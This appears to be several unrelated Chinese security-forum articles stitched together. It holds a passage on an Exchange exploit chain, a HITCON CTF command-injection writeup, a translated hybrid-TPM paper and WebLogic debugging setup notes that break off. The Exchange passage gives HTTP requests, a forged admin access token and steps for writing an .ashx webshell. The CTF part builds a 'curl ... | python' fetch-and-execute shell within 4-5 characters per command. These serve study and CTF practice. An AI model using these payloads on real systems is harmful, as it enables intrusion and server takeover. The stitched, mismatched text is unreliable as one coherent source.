xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><ErrorCode>NoError</ErrorCode><ErrorMessage/><UserResponses><UserResponse><ErrorCode>NoError</ErrorCode><ErrorMessage>No error.</ErrorMessage><RedirectTarget i:nil="true"/>
<UserSettingErrors/><UserSettings>
<UserSetting i:type="StringSetting">
<Name>UserDN</Name>
<Value>/o=domain corp/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=6b9c2aa9d1804deea9b54779f8d4d0ec-SystemMailbo</Value>
</UserSetting>
</UserSettings></UserResponse></UserResponses></Response></GetUserSettingsResponseMessage></s:Body></s:Envelope>
以下有效负载允许从`UserDN`获取用户的 `SID`。
POST /Autodiscover/[email protected]/mapi/emsmdb HTTP/1.1
Host: exchange16.domaincorp.com
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
X-User-Identity: SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com
X-Requestid: {C715155F-2BE8-44E0-BD34-2960065754C8}:2
X-Requesttype: Connect
X-Clientinfo: {2F94A2BF-A2E6-4CCC-BF98-B5F22C542226}
X-Clientapplication: Outlook/15.0.4815.1002
Content-Type: application/mapi-http
Cookie: email=Autodiscover/[email protected]
Content-Length: 149
/o=domain corp/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=6b9c2aa9d1804deea9b54779f8d4d0ec-SystemMailbo....
`SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com`的SID是
`S-1-5-21-3452439987-3899459676-4048896270-1124`。
我们得到域ID：`3452439987-3899459676-4048896270` 和管理员帐户的
SID：`S-1-5-21-3452439987-3899459676-4048896270-500`。
## 漏洞二
通过在 url 中伪造 `X-CommonAccessToken，Powershell`后端服务中的身份验证绕过漏洞。
利用第一个`SSRF`漏洞，远程攻击者可以向具有`LocalSystem`权限的`Powershell`后端服务发送请求。但是`Powershell`后端服务会额外检查`X-CommonAccessToken`标头是否存在
,`X-CommonAccessToken`标头从前端传递到后端以标识当前登录用户。
但是`Powershell`后端服务有一个`IIS` 模块，允许在检查之前将 `X-Rps-CAT`
查询字符串转换为`X-CommonAccessToken` 标头。 因此，远程攻击者可以使用`X-Rps-CAT` 查询字符串伪造任意
`X-CommonAccessToken` 标头。
演示如下：
POST /Autodiscover/[email protected]/powershell?serializationLevel=Full;ExchClientVer=15.1.2044.4;clientApplication=ManagementShell;TargetServer=;PSVersion=5.1.14393.3053&X-Rps-CAT=VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBhET01BSU5BQkNEXGFkbWluaXN0cmF0b3JVLVMtMS01LTIxLTM0NTI0Mzk5ODctMzg5OTQ1OTY3Ni00MDQ4ODk2MjcwLTUwMEcKAAAABwAAAC1TLTEtNS0yMS0zNDUyNDM5OTg3LTM4OTk0NTk2NzYtNDA0ODg5NjI3MC01MTMHAAAAB1MtMS0xLTAHAAAAB1MtMS01LTIHAAAACFMtMS01LTExBwAAAAhTLTEtNS0xNQcAAAAtUy0xLTUtMjEtMzQ1MjQzOTk4Ny0zODk5NDU5Njc2LTQwNDg4OTYyNzAtNTIwBwAAAC1TLTEtNS0yMS0zNDUyNDM5OTg3LTM4OTk0NTk2NzYtNDA0ODg5NjI3MC01MTIHAAAALVMtMS01LTIxLTM0NTI0Mzk5ODctMzg5OTQ1OTY3Ni00MDQ4ODk2MjcwLTUxOAcAAAAtUy0xLTUtMjEtMzQ1MjQzOTk4Ny0zODk5NDU5Njc2LTQwNDg4OTYyNzAtNTE5BwAAAAhTLTEtMTgtMUUAAAAA HTTP/1.1
Host: exchange16.domaincorp.com
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Content-Type: application/soap+xml;charset=UTF-8
Cookie: email=Autodiscover/[email protected]
Content-Length: 7075
....
我反转了`CommonAccessToken` 的格式，并为管理员帐户构造了一个强大的令牌，其中包含一些域组，如域管理员、模式管理员……（domainid
之前就被泄露了，domain_name 可以是任何字符串）。
至此我们有了`CommonAccessToken`，可以发送具有管理员权限的`powershell` 请求。 我重写了一个简单的`Powershell
Remoting`协议，允许我运行`Exchange`的任何`cmdlet`。
但是目前只能运行`Exchange的cmdlet`，不能运行Windows的任何cmdlet，也不能运行像 `Add-Content -Path
C:\test.txt -Text abc`这样的简单 cmdlet。
当然，我们可以运行这样的`cmdlet：get-mailbox,...`。
## 漏洞三
`OAB` 后端服务中的任意文件写入允许远程攻击者可以在`OAB`文件夹上编写 `webshell`。
在讲述这个漏洞的细节之前，我先介绍以下`OAB`的概念。
脱机通讯簿 (OAB) 是地址列表集合的本地副本。
在具有管理员帐户的`Exchange Management Shell`中，我们可以创建一个新的 OAB：
New-OffLineAddressbook -Name test1 -AddressLists "Default Global Address List"
然后获取新的脱机通讯簿的 GUID。
在此示例中，guid 为`02f1b6a8-8b8f-40c8-9df3-ac753563f9b8`。
我们可以通过直接访问 url 请求 OAB
文件：<https://exchange16.domaincorp.com/oab/02f1b6a8-8b8f-40c8-9df3-ac753563f9b8/oab.xml。>
第一次生成OAB文件，保存在文件夹`C:\Program Files\Microsoft\Exchange
Server\V15\ClientAccess\OAB\02f1b6a8-8b8f-40c8-9df3-ac753563f9b8`。
OAB文件除了保存在OS文件系统中外，还保存在特殊系统邮箱`SystemMailbox`（前面提到的）的OAB文件夹中`{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com`。
我们可以通过在
`SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com`邮箱上调用`EWS`服务来检查这一点。
在邮箱的OAB文件夹中，有一个主题为`02f1b6a8-8b8f-40c8-9df3-ac753563f9b8`的项目`IPM.FileSet`（与以前相同的guid）。
因此，对于我们使用`cmdlet New-OfflineAddressBook`创建的每个 OAB：
* `C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\<oab_guid>`中会有对应的文件夹;
* 在`SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com`邮箱的OAB文件夹中会有一个对应的项目`IPM.FileSet`，主题为`<oab_guid>`。
生成新的OAB文件的过程是：
1. 从 url`/oab/<oab_guid>/oab.xml`获取 `oab_guid`;
2. 检查 `SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com`邮箱的文件夹 OAB 中是否存在主题为`<oab_guid>`的项目;
3. 如果该项目存在，下载邮箱中该项目的所有附件，保存在`C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\<oab_guid>`中；
4. 如果不存在，生成OAB文件，保存在`SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com`邮箱的OAB文件夹中。
注意第三步，演示如下：
所以如果我们可以控制`SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com`邮箱的文件夹OAB，我们就可以控制`C:\Program
Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\中`的文件`<oab_guid>`。
该漏洞出现在第 3 步，当 OAB 文件被下载并保存在 OS 文件系统中时，不会检查文件名是否为恶意扩展名，如 `.aspx`、`.ashx`。
所以如果我们可以控制`SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com`邮箱的文件夹OAB，我们就可以在`C:\Program
Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\`中，写一个`webshell
<oab_guid>`并通过 url `/oab/<oab_guid>/malicious.ashx`访问 webshell。
我结合以前的两个漏洞控制了`SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com`邮箱的文件夹OAB。
使用第二个`Powershell` 身份验证绕过漏洞，我可以发出一个`powershell cmdlet New-OfflineAddressBook`来创建新的 OAB，并获取 `oab_guid`。
然后，在`SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com`邮箱的权限下使用`SSRF`向`/ews/exchange.asmx`发送请求（`SSRF`请求使用`LocalSystem`帐户进行身份验证，因此具有模拟权限
另一个具有 `SerializedSecurityContext`元素的邮箱用户）。
使用两个漏洞，我执行了以下步骤：
* 在 `SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com`的 OAB 文件夹中创建主题为`<oab_guid>` 的新项目`IPM.FileSet`;
* 在这一项附上两个文件`oab.xml`和r`skvp93.ashx`（这一步很复杂，因为我必须使用导入、导出技术来控制两个文件的hash属性）;
* 通过访问 url `/oab/<oab_guid>/oab.xml` 触发`OABGeneratorProcess`;
* `OABGeneratorProcess`将在 `SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com`的 OAB 文件夹中下载主题为`<oab_guid>`的项目中的所有附件;
* `OABGeneratorProcess`将在`C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\<oab_guid>`的操作系统文件系统中保存所有附件;
* 在`/oab/<oab_guid>/rskvp93.ashx`获得 webshell。
## 有用的邮箱
[email protected] (from VcsLab of Viettel Cyber Security) | 社区文章 |
### 0x01 babyfirst-revenge
源码:
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
从代码中可以看出需要绕过5个字符的限制来执行命令.
根据之前看到的[小密圈的那些奇淫技巧](https://www.leavesongs.com/SHARE/some-tricks-from-my-secret-group.html),其中有关于如何绕过7个字符GetShell.
其中两个比较关键的点是:
1. 长度
2. 执行顺序
这里得先提到关于Linux的Trick:
1. 命令过长可以通过`\`进行换行续写
2. 文件种当前命令错误不影响之后命令的执行
由于题目是限制在5个字符,getshell的思路是分段写出`curl`命令,之后使用`ls -t`写入文件之中,再`sh`执行文件种的curl命令.
其中`curl`和`sh`命令都很好操作,关键在于怎么将`ls -t`的结果写入文件.
这就要利用上面提到的第二个Trick.
# ls -t>g
>-t\
>\>g
>l\
>s\ \
ls>c
ls>>c
通过上面的命令就能成功的将`ls -t>g`的命令写入文件`c`中.
先看在执行`ls>>c`之前的目录文件情况.
emm...这里有一个很奇怪的点,由于`ls`的命令结果默认是根据文件名进行排序的,而这里可以看出表现出来的并不正确,可是在`c`文件中的顺序却是正确(如果直接在命令行中执行就是错误的),这里一直让我很困惑(希望dalao能解答下).
在执行`ls>>c`之后的情况如下.
可以从看出`ls -t>g`的命令已经写入进去了.这里其实还有一个是注意文件名,如果文件名出现在`-t\`、`>g`或`l\`、`s
\`之间的,就不难发现会出现一个乱序的情况,这样就无法构成完整的命令.
接下来就是构造`curl`请求以及执行文件了.
# curl localhost|python
>on
>th\
>py\
>\|\
>st\
>ho\
>al\
>oc\
>l\
>\ \
>rl\
>cu\
之后`sh c`执行之后.查看`g`文件.
可以看出上面也组成了`curl`的完整命令.之后`sh g`执行命令.
成功GetShell.
### 0x02 babyfirst-revenge-v2
源码:
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
由于字符限制在了4个,所以不能再像之前那样通过分割字符来实现.原因是不管如何对`ls -t>g`这个命令进行何种切割,`>\>\`和`>\
\`是必然作为单独的部分,这样由于`ls`按照文件名进行排序,所以虽然可以呈现`space\ -t\ >\ ?
ls`,但是`ls>>?`这个是没有办法实现的.
因此这里使用其它得方法，可以通过`rev`逆序之后解决.
其中`ls -t>g`这个命令不能逆序,由于`t`是比`s`大的，如果逆序`s`不会在`t`的前面,所以这里使用`ls -th>g`.
关于`*`命令:
`*` 相当于`$(dir *)`,所以说如果文件名如果是命令的话就会返回执行的结果,之后的作为参数传入.
所以这样如果`dir`在最前面的话,就可以把当前目录的文件都返回.
>dir
>sl
>g\>
>ht-
之后将`*`的结果写入文件中,紧接着写入`rev`文件.
>*>v
>rev
最后执行`rev v>u`,这个命令需要通过`*`命令的其它形式实现.
*v>u
这个命令就是$(dir *v)>u,dir *v返回的就是结尾为v的文件.
这个地方其实是一个很巧妙的方式,因为`*v`恰好是可以匹配到`rev`和`v`的,如果文件名换成其它字母会因为排序错误或者没有作为`rev`的参数而逆序失败.
之后的步骤就没有什么多大的区别了.
### 0x03
路漫漫呀....
欢迎有新思路的daolao交流...
[官方exp-babyfirst-revenge](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2017/babyfirst-revenge/exploit.py)
[官方exp-babyfirst-revenge-v2](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2017/babyfirst-revenge-v2/exploit.py) | 社区文章 |
# hTPM:可信平台模块的混合实现
|
##### 译文声明
本文是翻译文章，文章原作者 doi，文章来源：doi.org
原文地址：<https://doi.org/10.1145/3338511.3357348>
译文仅供参考，具体内容表达以及含义原文为准。
## 摘要
基于硬件的TPM为各种任务关键型应用程序提供了硬件支持的安全解决方案和信任基础。但是，基于硬件的TPM具有一些固有的问题，例如极低的性能，片外安全漏洞以及事件响应敏捷性不足。在即将到来的量子计算时代，至关重要的是要提供抗量子（QR）加密功能而不损害性能。不幸的是，基于硬件的TPM严格的硬件和软件体系结构模型使基于硬件的TPM过渡以适应未来的QR密码系统极为困难。另一方面，基于软件的TPM（例如，基于固件的TPM）提供了基于CPU的片上安全解决方案。他们利用ARMTrustZone或IntelSoftwareGuardExtensions（SGX）等芯片组提供的低级片上基元来构建具有高级别信任计算环境的系统。基于软件的TPM解决方案可提供更高的性能，片上安全性和事件响应敏捷性。但是，它缺少硬件支持的保护和一些重要功能，例如安全密钥存储，针对边信道攻击的鲁棒性，真正的随机数生成等。另外，它的实现高度依赖于每个硬件供应商提供的低级原语，这使得很难将其作为通用解决方案提供。在本文中，我们提出了混合TPM（hTPM），它充分利用了基于硬件的TPM的优势，并通过安全容器内部的基于软件的TPM解决方案来消除了基于硬件的TPM的弱点，例如基于虚拟化的安全性（VBS）。
我们将hTPM实施为完全双模式TPM，即让最终用户根据他们的需求在硬件TPM模式和软件TPM模式之间进行完全控制。我们进行了并将对提议的hTPM进行全面的风险分析，以显示如何在实现hTPM时最好地克服安全挑战。最后，我们对提议进行了性能分析，以显示加密操作的显著改进。
## 简介
可信平台模块（TPM）是一种物理或虚拟密码协处理器，可为各种关键任务应用程序提供广泛的安全功能和信任根。TPM的基本安全功能可以总结如下：
* 安全密钥存储：TPM设计带给设备的一大优势是确保良好的密钥（尤其是免受软件攻击）的安全性。
* 设备身份验证：TPM可以使用其唯一的每设备RSA或ECC密钥进行安全的设备身份验证。
* 设备证明：TPM可以通过获取和存储软件状态的安全性度量来确保平台完整性。TPM中的平台配置寄存器（PCR）与身份密钥一起可用于证明系统的运行状况。
* 秘密绑定：通过使用TPM绑定密钥加密数据，可以使用从设备唯一存储密钥派生的唯一RSA或ECC密钥，因此可以将其安全地绑定到设备。
* 秘密密封：秘密可以使用特定的设备状态进行密封，并且只有当设备满足密封状态条件时，TPM才能进行数据解密。
TPM提供关键功能的应用程序很多种。例如，Bitlocker可以选择在驱动器解密中使用TPM。通过使用TPM，Bitlocker可以为需要基线数据保护级别以满足安全策略的组织提供最透明的用户体验。Bitlocker中TPM的使用可总结如下。BIOS启动并初始化TPM。可信/已测量的组件与TPM交互以将组件的测量结果存储在TPM的PCR中。如果PCR值符合预期值，TPM使用存储根密钥（SRK）来解密卷主密钥（VMK）。从卷中读取已加密的全卷加密密钥（FVEK），并使用解密的VMK对其进行解密。磁盘扇区在访问时用FVEK解密。然后，将明文数据提供给应用程序和进程。TPM提供了关键功能，有助于安全地将VMK密封并绑定到特定设备。TPM还用于系统完整性测量和设备认证。在系统引导过程中，可以测量已加载的引导代码（包括固件和操作系统组件）并将其记录在TPM中。完整性测量与设备专用证明密钥相结合可用于设备证明。远程服务器可以配置访问控制，以根据提供的TPM的设备运行状况来限制对关键资源的访问。
从历史上看，TPM是焊接到计算机母板上的分立芯片，称为分立TPM（dTPM）。这种实施方式使计算机的原始设备制造商（OEM）可以与系统的其余部分分开评估和认证TPM。尽管离散TPM实施仍然很常见，但是它们存在一些严重的弱点，这些弱点危及了系统的安全性。首先，dTPM最初并不是设计为加密加速器，而是有意将其设计为低成本设备，以便OEM可以轻松采用它们。因此，自然不可能为应用程序提供及时的密码服务。不幸的是，加密操作是TPM功能的核心部分，不能免除大多数现代安全应用程序的性能要求。TPM应用程序需要在其软件生命周期的某个时刻依赖加密操作，包括密钥生成，加密/解密和签名/验证。因此，dTPM的性能低下会严重损害其应用质量。在将来的TPM中，性能问题可能会变得更加严重，因为QR密码操作将成为强制性措施以抵御基于量子计算的攻击，这不可避免地会导致更加复杂和昂贵的密码算法和操作。其次，由于基于硬件的TPM是一种隔离的硬件解决方案，因此遭受片外攻击。dTPM通过串行总线与CPU的连接打开了攻击面，使攻击者可以通过物理方式访问主板。Jeremy指出了TPM和主机之间嵌入的中介程序可能造成的各种攻击，例如伪造的PCR扩展攻击，低熵随机数生成攻击以及触发主机端TPM驱动程序中的解析错误。第三，它不会在安全事件期间提供响应敏捷性。如今，针对安全漏洞的敏捷反应非常重要，因为在当前的安全形势下，完美的预防已不再是可行的策略。由于dTPM是基于硬件的解决方案，因此很难及时应用安全补丁。
一些更新的TPM实现将TPM功能与其他平台组件集成到同一芯片组中，同时仍提供类似于dTPM芯片的逻辑分离。一个典型的例子是基于固件的TPM（fTPM）。fTPM是基于TPM的软件，利用商用CPU的内置安全功能进行信任计算。例如，fTPM在ARM上使用了TrustZone。TrustZone提供了与平台其他软件（包括OS，应用程序和固件）高度隔离的运行时环境。通过这些功能，fTPM为平台提供了一组TPM安全功能，类似于专用安全硬件提供的功能。它试图通过引入诸如新硬件组件之类的低级原语来克服诸如安全存储，安全计数器，时钟和熵之类的挑战。但是，基于纯软件的TPM不能提供基于硬件的信任根，这在现代安全领域中非常重要。缺乏硬件安全支持意味着在基于软件的攻击和旁道攻击中存在固有的漏洞。此外，基于纯软件的解决方案在预引导阶段限制了其适用性，并可能导致合规性问题。
在本文中，我们提出了混合TPM（hTPM），它有效地结合了硬件TPM和软件TPM的优点，并提供了一种复杂的设计来克服将基于硬件的TPM和基于软件的TPM结合在一起时遇到的安全挑战。与dTPM相比，我们的hTPM实施显示出显着的性能改进，并且比纯硬件或纯软件的TPM解决方案保证了更强的安全性。
## 现有的信任平台模块架构
在本章中，我们将更深入地研究基于硬件的TPM和软件TPM解决方案，并分析它们的弱点。
### 2.1基于硬件的TPM
基于硬件的TPM是提供可信平台功能的主要方式。它是一种专用的低成本芯片，在自己的防篡改半导体封装中实现TPM功能。从理论上讲，硬件TPM是最安全的，因为它没有与软件相关的漏洞，并且硬件本质上提供了一种强大的方式来提供避免侧通道攻击的安全功能。但是，硬件TPM具有许多固有的问题，这些问题在交付高质量应用程序时引起了巨大挑战。
* 低性能由于硬件TPM最初不是为加密加速而设计的，因此会遭受严重的性能下降。图1显示了从各种TPM命令收集的性能数据。它是在商用HP设备（英特尔至强CPUE3-1505Mv63GHz，300Mhz，4核，8个逻辑处理器和具有TPM规范版本2.0的英飞凌（IFX）TPM版本7.61.2785.0）中进行测量的。时间是使用C++11中的chrono库以纳秒粒度测量的。如图1所示，在RSA签名，解密，引用和密钥生成中观察到明显的性能问题。延迟数百毫秒（例如RSA2048解密时间超过500毫秒）对于大多数应用程序来说是完全不可接受的，因为它会严重破坏用户的体验。
* 片外漏洞基于硬件的TPM通过南桥通过串行总线连接到CPU。该总线代表了新的攻击面，因为它从外部暴露于攻击者并可以物理访问主板。请注意，基于CPU的TPM解决方案回避了这一攻击面，因为它没有通往CPU的单独总线。
* 安全事件响应敏捷性基于硬件的TPM功能被实现为硬件。因此，由于需要固件更新或重新设计硬件，因此难以及时对安全事件做出反应。例如，在2017年，发现了ROCA漏洞，该漏洞利用一种加密漏洞，可以从公钥中恢复密钥对的私钥。如果在硬件中发现了这种基本错误，则从根本上修复该漏洞的唯一方法是更换硬件或将变通办法放入固件中。更新固件或修复硬件是一个昂贵的过程，会导致更长的零日漏洞。
* 缺乏端到端的保护意识一些关键数据（例如身份验证数据）驻留在内存中，并传输到TPM以进行启封操作。另外，在未绑定或未密封所需的密钥之后，NVRAM外部会发生许多实际的加密操作。攻击者可以发起各种软件攻击或内存攻击，例如冷启动攻击或DMA攻击。基于硬件的TPM缺少对机密信息（例如，身份验证数据（例如，PIN，生物识别等）或释放到RAM的密钥）的端到端保护。这不是TPM的固有弱点，因为它不在TPM设计范围内。但是，我们仍然需要一个整体的安全解决方案来最终保护关键任务应用程序。
图1 硬件TPM的加密性能
### 2.2基于软件的TPM
在基于软件的TPM中，所有TPM功能都在软件中实现。该软件实现可以包含在受信任的执行环境（例如TrustZone），单独的虚拟机或仅在单独的进程中。基于纯软件的解决方案容易受到软件错误的影响，并且缺乏硬件支持的强化。进一步来说：
* 缺乏硬件级别的保护由于这些秘密完全由软件处理，因此容易受到各种侧通道攻击，故障攻击，微体系结构攻击（例如Meltdown，Spectre攻击）和基于软件漏洞的攻击。它也容易受到试图从DRAM读取机密的内存攻击。
* 基于硬件的熵TPM规范需要一个真正的随机数生成器（RNG）。真正的RNG通过具有一个熵池来构造，该熵池的熵由诸如电压和温度之类的硬件熵源提供。它需要特殊的硬件来收集经统计证明的真实随机种子。纯软件解决方案缺乏真正的随机数生成功能，因为它不符合TPM规范，因此成为一个问题。
* 安全证书保障某些应用程序需要严格的安全认证合规性，例如PCIDSS（支付卡行业数据安全标准），HIPPA（健康保险可移植性和责任法案），FIPS（联邦信息处理标准）等。通常，它需要硬件的信任和保护。因此，纯软件解决方案无法满足行业要求。
* 预引导环境TPM在预启动环境中使用，例如Bitlocker加密操作和设备证明。由于在系统的预引导阶段需要TPM，因此纯软件TPM在尝试提供所有必需的功能方面将存在固有的困难，因为基于软件的TPM的全部功能只有在配置了所有必需的软件堆栈之后才可用。请注意，根据引导流程和低级CPU原语，在预引导环境中可能会使用完整的软件TPM。例如，在fTPM中，TrustZone在正常启动世界引导加载程序之前已完全启动。在这种情况下，不会有任何问题。但是，此问题在其他预引导环境中仍然存在。
## 提出的混合TPM架构
我们提出了一种新颖的设计来实现hTPM并实现上一节中描述的设计目标。总体架构如图2所示。
图2 TPM结构
首先，我们的S模式TPM与正常的世界操作系统安全隔离。我们利用基于Windows10的虚拟化来提供关键的隔离属性。请注意，我们的建议可以应用于其中集成了虚拟化技术的其他商品操作系统。窗口10引入了一种新的安全功能，称为虚拟安全模式（VSM）。VSM利用Hyper-V虚拟机管理程序和第二级地址转换（SLAT）来创建一组称为虚拟信任级（VTL）的模式。这种新的软件体系结构创建了一个安全边界，以防止在一个VTL中运行的进程访问另一个VTL的内存。这种隔离的好处包括在保护资产（例如密码散列和Kerberos密钥）的同时，可以进一步缓解内核漏洞。内核模式和用户模式代码的传统模型分别在CPU环0和环3中运行。在VSM模型中，在传统模型中运行的代码在VTL0中执行，并且无法访问特权更高的用户VTL1。VTL是分层的，这意味着在VTL1中运行的任何代码都比在VTL0中运行的代码更具特权。VTL隔离由Hyper-V管理程序创建，该管理程序在引导时使用二级地址转换（SLAT）分配内存空间。它会在系统运行时动态地继续执行此操作，从而保护安全内核指定需要从VTL0保护的内存，因为该内存将用于包含机密信息。当为两个VTL分配了单独的内存块时，通过为具有适当访问权限的VTL1和VTL0分配独占内存块，为VTL1创建了安全的运行时环境。Trustlet是可信任进程的缩写，是在VSM安全模式下作为IUM进程运行的程序。它们通过将它们编组到在VTL0环0中运行的Windows内核来完成系统调用。VSM创建一个小型执行环境，包括在VTL1中执行的小型安全内核，该内核与在VTL0中运行的内核和驱动程序隔离。明显的安全性好处是将VTL1中的trustlet用户模式页面与VTL0内核中运行的驱动程序隔离。即使VTL0的内核模式受到恶意软件的破坏，它也无权访问委托人。
我们的软件TPM在VTL1内部实现，并且所有关键任务操作都在VTL1容器内完全隔离并受到保护。例如，使用用户凭证进行的密钥启封是在VTL1S-ModeTPM内部处理的，并且永远不会暴露给普通的操作系统。此外，从dTPM派生的主密钥仅保留在VTL1的安全内存中，在引导阶段，信任将从H模式TPM传输到该安全内存中。
其次，TPM状态安全地存储在非易失性存储器中，以便可以在重新启动或睡眠后恢复该状态。我们使用从VTL1存储密钥派生的密钥来加密状态信息并将其存储在文件系统中。由于使用仅VTL1知道的密钥对其进行加密，因此无法对其进行篡改。另外，我们不存储派生密钥，而是即时从VTL1主密钥派生的，以减少攻击面。
第三，我们通过利用基于虚拟化的隔离和硬件TPM来实现深度防御。根密钥（例如SRK，EK，AIK）通过硬件保护安全地存储在H模式TPM中，并且用作基于硬件的信任根。VSM通过使用隔离的环境来提供额外的防御深度。普通操作系统无法直接访问dTPM内部的根密钥。它应该通过VSM，并且VSM充当密钥管理中的附加防火墙。
第四，我们通过信任转移和H模式与S模式之间的安全通信通道建立，在H模式与S模式之间建立了无缝的信任信任关系。为此，我们生成了多个VTL1主密钥。一个密钥是从dTPM的SRK派生的存储主密钥。另一个密钥是通信主密钥，用于保护VTL1和dTPM之间的通信。分别来自通信主密钥的机密性和完整性保护密钥。VTL1存储密钥和通信主密钥都是在引导过程中派生的。为避免密钥被盗用，将密钥密封到VTL1映像和设备配置的状态。另外，关键是当且仅当它在启动过程中通过dTPM的设备认证时，才被密封。密钥是针对TPM的状态密封的，TPM的状态通过PCR的子集表示。密封的信息使用公钥加密，并且仅在所选PCR处于密封时的确切状态下才能解密。一旦从dTPM根密钥派生VTL1主密钥并将其放置在VTL1的受保护安全存储器中，就只能从VTL1进行访问，并且信任建立完成。
第五，我们为基于硬件的TPM和基于软件的TPM提供了完全双重模式，这意味着VTL1可以完全控制以根据应用程序的需求使用其中一种。为了提高可用性，我们的参考实现的构造如图3所示。所有应用程序需要做的是调用相同的包装器API，并设置一个标志以指示它打算使用H模式TPM还是S模式TPM。然后，包装程序根据该标志将应用程序的请求路由到硬件TPM或软件TPM。标志的完整性受到保护，因为它是应用程序可执行映像的一部分。
图3 整体软件架构
## 性能评估
dTPM由于其低成本的设计原理而存在严重的性能问题，如图1所示。它对要求高操作质量的应用提出了可用性挑战。由于其操作的数学特性（例如大质数搜索，模幂运算），RSA密钥生成，解密和签名的速度特别慢。我们展示了如何通过我们提出的hTPM方案显着提高性能。我们已经使用TPM参考实现版本1.16实现了hTPM。用户只需设置标志以映射相应的功能指针，即可在H模式和S模式之间切换。我们从DELL和HP中选择了商用OEM设备，并使用英飞凌和NuvotondTPM进行了性能评估。戴尔计算机使用英特尔至强CPUE5-1650v43.60GHz，3601Mhz6核，12个逻辑处理器。戴尔计算机的TPM是NuvotonTechnology（NTC），具有1.3.2.8和TPM规范版本2.0。HP使用IntelXeonCPUE3-1505Mv63GHz，300Mhz，4个内核，8个逻辑处理器。HP机器的TPM使用Infineon（IFX）版本7.61.2785.0和TPM规范版本2.0。
## 结论
对于要求高操作性能，可用性和端到端系统安全性保证的应用，纯硬件和纯软件TPM解决方案都构成了重大挑战。在本文中，我们提出了混合TPM方案，其中我们有效地结合了基于硬件的TPM和基于软件的TPM的优点。我们提出了一种复杂的设计，以克服实施hTPM的技术和安全挑战。我们的风险分析表明，hTPM设计可提供最高级别的安全保证，并可以有效地减轻实施hTPM的可能风险。此外，我们对参考hTPM实施方案的性能分析表明，通过安全利用现代CPU的高性能，与dTPM相比，性能有了显着提高。 | 社区文章 |
## 环境搭建
使用<https://github.com/QAX-A-Team/WeblogicEnvironment>QAX的自动化搭建
参考：[https://www.cnblogs.com/0x7e/p/14529949.html](https://www.cnblogs.com/0x7e/p/14529949.html#0x01%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA)
（ps：ubuntu和centos，windows 感觉都不如kali来的润）
下载对应jdk和weblogic放到对应的文件夹
然后就是修改Dockerfile，因为libnsl这个东西 会安装错误
`vim Dockerfile`
把`RUN yum -y install libnsl`删除即可 （就只搭建环境浪费了我两天时间）
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21F
（垃圾），到之后从kali中提出文件的时候 会拖不到本地来......
（最后还是 windows本地搭建的，在docker中走代理）
### 远程调试
mkdir ./middleware
mkdir -p ./coherence_3.7/lib
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
直接拉到本地
> 如果不想这么麻烦的话可以直接运行对于的.sh脚本，比如这里安装的是1036 jdk是7u21
> ，直接运行run_weblogicjdk7u21.sh，自动安装以及自动从容器里面导出jar包。
新建一个web项目 然后
打开wlserver目录
然后add library刚刚导出的`coherence_3.7/lib`和`modules`
配置远程调试
点击debug
如此便是可以debug了
（搭环境搭了三天了...........） 开团！！！
### 验证环境
`weblogic/wsee/jaxws/WLSServletAdapter.class`的handle方法打上断点(如果查不到使用全局搜索即可)
访问`http://127.0.0.1:7001/wls-wsat/CoordinatorPortType`
## 关于T3协议
